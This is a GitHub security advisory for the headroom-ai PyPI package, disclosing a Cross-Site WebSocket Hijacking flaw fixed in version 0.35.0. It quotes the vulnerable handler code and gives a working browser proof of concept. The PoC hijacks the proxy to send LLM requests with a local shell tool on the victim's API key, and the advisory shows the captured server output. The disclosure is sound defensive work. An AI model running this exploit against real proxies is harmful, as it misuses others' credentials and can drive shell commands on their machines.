GitHub Advisoryadvisory · PyPI

GHSA-h46j-26q3-rggf Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

HIGH Published 2026-10-02 Modified 2026-10-02 Official page ↗
Aliases
CVE-2026-71416
Ecosystem
PyPI
Packages
headroom-ai
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-1385, CWE-287
Reviewed
2026-10-02

Affected packages

• PyPI headroom-ai: < 0.35.0 → fixed in 0.35.0

Description

Summary The Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Details The Headroom server defines a WebSocket handler at `ws://:8787/v1/responses` in `headroom/providers/proxy_routes.py`: ```python @app.websocket("/v1/responses") async def openai_responses_ws(websocket: WebSocket): await proxy.handle_openai_responses_ws(websocket) ``` In the `handle_openai_responses_ws()` method of the `OpenAIHandlerMixin` class, the `Origin` header of the WebSocket client handshake is not checked or verified before calling `websocket.accept()`, which grants any WebSocket client (including malicious clients) access to the server: ```python async def handle_openai_responses_ws(self, websocket: WebSocket) -> None: """WebSocket proxy for /v1/responses (Codex gpt-5.4+). Newer Codex versions use WebSocket instead of HTTP POST for the Responses API. This handler: 1. Accepts the client WebSocket 2. Receives the first message (``response.create`` request) 3. Opens an upstream WebSocket to OpenAI 4. Compresses eligible `response.create` text through the Python ContentRouter path, then sends the request upstream 5. Relays all subsequent messages bidirectionally """ ... # Accept client connection with the requested subprotocol async with stage_timer.measure("accept"): if client_subprotocols: await websocket.accept(subprotocol=client_subprotocols[0]) else: await websocket.accept() ``` The malicious WebSocket client does not need to provide authentication headers or API keys as the `Authorization` header is automatically populated with the OpenAI API key via the `OPENAI_API_KEY` environment variable, if it has been used to store the API key: ```python # Ensure Authorization header is present — fall back to OPENAI_API_KEY env var. # Safety net for clients that don't forward auth headers via WebSocket upgrade. if "authorization" not in _lower_headers: api_key = os.environ.get("OPENAI_API_KEY") if api_key: upstream_headers["Authorization"] = f"Bearer {api_key}" logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env") else: logger.warning( f"[{request_id}] WS: no Authorization header from client and " f"OPENAI_API_KEY not set — upstream will likely reject" ) ``` Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary `instructions`/`input` prompts and tools. PoC • Run the Headroom proxy server: `OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0` • Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server: ```html let headroomHost = '192.168.0.106'; let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`); let openAiPayload = { type: "response.create", model: "gpt-5.4", instructions: "The local bash shell environment is on Linux.", input: "Run the id command for the logged in user", tools: [{type: "shell", environment: {type: "local"}}] }; socket.addEventListener("open", (event) => { let openAiPayloadStr = JSON.stringify(openAiPayload); console.log(`Sending LLM request: ${openAiPayloadStr}`); socket.send(openAiPayloadStr); }); socket.addEventListener("message", (event) => { console.log(`Response from server: ${event.data}`); }); ``` • The PoC uses the shell tool, but any tool/input/instruction prompt can be used. Output The `console.log()` output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted: ``` Sending LLM request: {"type":"response.create","model":"gpt-5.4","instructions":"The local bash shell environment is on Linux.","input":"Run the id command for the logged in user","tools":[{"type":"shell","environment":{"type":"local"}}]} ws.html:22 Response from server: {"type":"response.created","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":0} ws.html:22 Response from server: {"type":"response.in_progress","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":1} ws.html:22 Response from server: {"type":"error","error":{"type":"insufficient_quota","code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.","param":null},"sequence_number":2} ws.html:22 Response from server: {"type":"response.failed","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"failed","background":false,"completed_at":null,"error":{"code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors."},"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context"…

Related

Alias · CVE (1)

  • CVE-2026-71416 Headroom compresses data before the data reaches a large language model. vulnerability

Weakness · CWE (2)

  • CWE-1385 Missing Origin Validation in WebSockets weakness
  • CWE-287 Improper Authentication weakness

References